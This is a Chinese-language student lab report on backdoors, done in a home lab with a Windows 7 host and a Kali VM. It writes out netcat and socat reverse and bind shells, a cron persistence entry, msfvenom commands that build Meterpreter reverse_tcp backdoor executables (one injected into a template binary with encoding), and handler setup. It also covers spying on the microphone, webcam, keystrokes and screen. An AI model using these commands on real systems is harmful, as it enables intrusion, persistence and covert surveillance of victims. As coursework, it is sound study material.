20191317 Exp2-後門原理與實踐
20191317 Exp2-後門原理與實踐
實驗基礎
本次實驗需要我們掌握後門的基礎知識,學習使用nc
實現Windows,Linux之間的後門連線,學習使用Metaspolit的msfvenom
指令生成簡單的後門程式,學會MSF POST模組的應用。
基礎知識
後門的概念
後門就是不經過正常認證流程而訪問系統的通道。後門可能出現在編譯器中、作業系統中,最常見的是應用程式中的後門,還可能是潛伏於作業系統中或偽裝成特定應用的專用後門程式。
實驗目標
- 使用netcat獲取主機操作Shell,cron啟動
- 使用socat獲取主機操作Shell,任務計劃啟動
- 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
- 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
- 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
實驗環境
環境
- 主機:Windows 7;
- 靶機:Kali Linux 10;
在主機上用ifconfig
檢視Windows7主機IP
主機IP為192.168.30.151
在Kali虛擬機器中用sudo ipconfig
檢視Kali虛擬機器IP
Kali虛擬機器IP為192.168.30.147
實驗過程
一、使用netcat獲取主機操作Shell,啟動cron
在主機中使用ncat -l -p 1317(個人學號後四位)
監聽本機的1317埠
(注:若Windows中未安裝ncat
命令,可以點選ncat.rar下載,解壓後可使用)
在主機中獲取虛擬機器shell
在虛擬機器中使用nc 192.168.30.151(主機IP) 1317 -e /bin/sh
連線主機反彈shell
成功getshell
在虛擬機器中獲取主機shell
在虛擬機器中用nc -l -p 1317
監聽主機1317埠
在主機中用ncat -e cmd 192.168.30.147 1317
,成功獲取到主機shell
在虛擬機器中啟動cron並在主機監聽
先在虛擬機器上用crontab -e
指令編輯一條定時任務(crontab指令增加一條定時任務,-e表示編輯,輸入2表示選擇vim編輯器)
在最後一行新增17 * * * * nc 192.168.30.151 1317 -e /bin/sh
等到每小時的17分,在ip地址為192.168.30.151的主機端用
ncat -l -p 1317
開啟監聽即可在主機成功獲取虛擬機器的shell
此外,也可以開一個非反彈式後門,在cron中寫入
nc -l -p 1317 -e /bin/sh
,這是攻擊機能隨時通過nc 主機ip 1317
獲得虛擬機器的一個Shell
二、使用socat獲取主機操作Shell,任務計劃啟動
在Windows獲得Linux Shell
在Kali中用man socat
檢視使用說明
在Windows中按Win+R
,再輸入compmgmt.msc
開啟計算機管理
在系統工具中的任務計劃程式中建立任務
設定任務名稱
新建觸發器
下一步是新建操作,但在新建操作前,我們需要在Windows上下載socat.rar,並解壓後使用,使用參考README
新建操作,操作設定為啟動程式socat.exe
,並新增引數tcp-listen:1317 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe
繫結到埠1317,同時把cmd.exe的stderr重定向
設定好後我們按下Win+L
(通用)或者F10
(一些電腦適用)鎖定工作臺,即把電腦鎖屏。解鎖後出現命令列
在Kali中輸入命令socat - tcp:192.168.30.151:1317
成功獲取Windows的Shell
三、使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
在Kali上生成後門可執行程式20191317_backdoor.exe
輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -f exe > 20191317_backdoor.exe
,其中
-
LHOST
為反彈回連的IP,在這裡是要反彈給Kali,也就是Kali的IP -
LPORT
是回連的埠 -
-p
使用的payload。
payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode。 -
-f
生成檔案的型別 -
>
輸出到哪個檔案
在Windows上開啟監聽
在Kali上用nc 192.168.30.151 1317 < 20191317_backdoor.exe
將生成的20191317_backdoor.exe
後門程式傳過去
在kali上使用msfconsole
指令進入msf控制檯
對msf控制檯進行配置
依次輸入以下命令
use exploit/multi/handler #使用監聽模組,設定payload
set payload windows/meterpreter/reverse_tcp #使用和生成後門程式時相同的payload
set LHOST 192.168.30.147 #KaliIP,和生成後門程式時指定的IP相同
set LPORT 1317
接著輸入exploit
進行監聽,在Windows在開啟20191317_backdoor.exe
後成功獲取到Windows的shell(注意最好把所有防毒軟體退出,否則打開後門程式時很容易出現拒絕訪問的情況)
四、使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
獲取目標主機音訊
在之前進入的MSF exploit中輸入record_mic
指令進行錄音(-d
可設定時長)
獲取目標主機攝像頭
輸入webcam_snap
指令控制攝像頭進行拍照run webcam
可以進行螢幕錄製,相當於不間斷地用攝像頭拍照片,並不斷儲存在一個jpg中,在檔案系統中我們會看到一個在不斷變化的jpg檔案
獲取擊鍵記錄
輸入keyscan_start
開始捕獲鍵盤記錄,keyscan_dump
獲取擊鍵記錄(-d
可設定時長)
擷取主機螢幕
使用screenshot
指令可以進行截圖
五、使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
參考網上資料找到指令
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
- 在引數說明中提到,
-p
使用的為有效載荷,由於我們是在x86下的linux系統,所以要改為linux/x86/meterpreter/reverse_tcp
。 -
-x
是可執行檔案模板,shellcode會寫入這個可執行檔案中 -
LHOST
、LPORT
是ip地址和埠,我們把它改為192.168.30.147
和1317
-
-f
是生成檔案的型別,我們把它改為二進位制可執行檔案elf
所以最後的payload為
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -x 20191317pwnexp2 -f elf > 20191317exp2
輸入msfconsole
進入MSF控制檯,保持對應配置和之前相同
use exploit/multi/handler #使用監聽模組,設定payload
set payload linux/x86/meterpreter/reverse_tcp #使用和生成後門程式時相同的payload
set LHOST 192.168.30.147 #KaliIP,和生成後門程式時指定的IP相同
set LPORT 1317
再在msf
中使用exploit
監聽
在另一終端中將執行20191317exp2
執行
可看到msf
中獲取許可權
成功獲得shell
基礎問題回答
例舉你能想到的一個後門進入到你係統中的可能方式?
某些圖片也可以被植入後門,如果你下載之後再點開,就會中招
例舉你知道的後門如何啟動起來(win及linux)的方式?
- Windows
將後門安裝為服務,服務設定為開機自啟動,後門隨之啟動。 - Linux
linux同樣有著開機自啟動的指令碼
Meterpreter有哪些給你印象深刻的功能?
Meterpreter是Metasploit框架中的一個擴充套件模組,作為溢位成功以後的攻擊載荷使用,攻擊載荷在溢位攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的連結。Meterpretershell作為滲透模組有很多有用的功能,比如新增一個使用者、隱藏一些東西、開啟shell、得到使用者密碼、上傳下載遠端主機的檔案、執行cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網路介面和IP地址等資訊。另外Meterpreter能夠躲避入侵檢測系統。在遠端主機上隱藏自己,它不改變系統硬碟中的檔案,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在執行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。最後,Meterpreter還可以簡化任務建立多個會話。可以來利用這些會話進行滲透。
Metasploit提供了各個主流平臺的Meterpreter版本,包括Windows、Linux,同時支援x86、x64平臺,另外,Meterpreter還提供了基於PHP和Java語言的實現。Meterpreter的工作模式是純記憶體的,好處是啟動隱藏,很難被防毒軟體監測到。不需要訪問目標主機磁碟,所以也沒什麼入侵的痕跡。
如何發現自己有系統有沒有被安裝後門?
- 記憶體經常被佔用
病毒打開了許多檔案或佔用了大量記憶體。 - 電腦中出現了一些不明服務
- 某些檔案打不開
病毒修改了檔案格式;病毒修改了檔案連結位置。檔案損壞;硬碟損壞;檔案快捷方式對應的連結位置發生了變化;原來編輯檔案的軟體刪除了。 - 出現大量來歷不明的檔案
後門複製了大量檔案。 - 電腦自動執行或啟動程式
後門在執行非法操作。
實驗心得
本次實驗感覺非常有意思,無論是獲取win主機shell或者是獲取linux主機shell,以及監聽主機攝像頭,麥克風,鍵盤輸入或者螢幕截圖。都非常有意思,但是這一切的前提是,兩臺主機可以互相ping通,如果ping不通,以上一切全部免談。所以本次實驗,大部分只起到了科普作用,沒有實際上的用處。如果要實用,我覺得首先就要突破閘道器限制,要麼是在同一區域網下,要麼不在區域網下,但是要突破閘道器連通內網主機。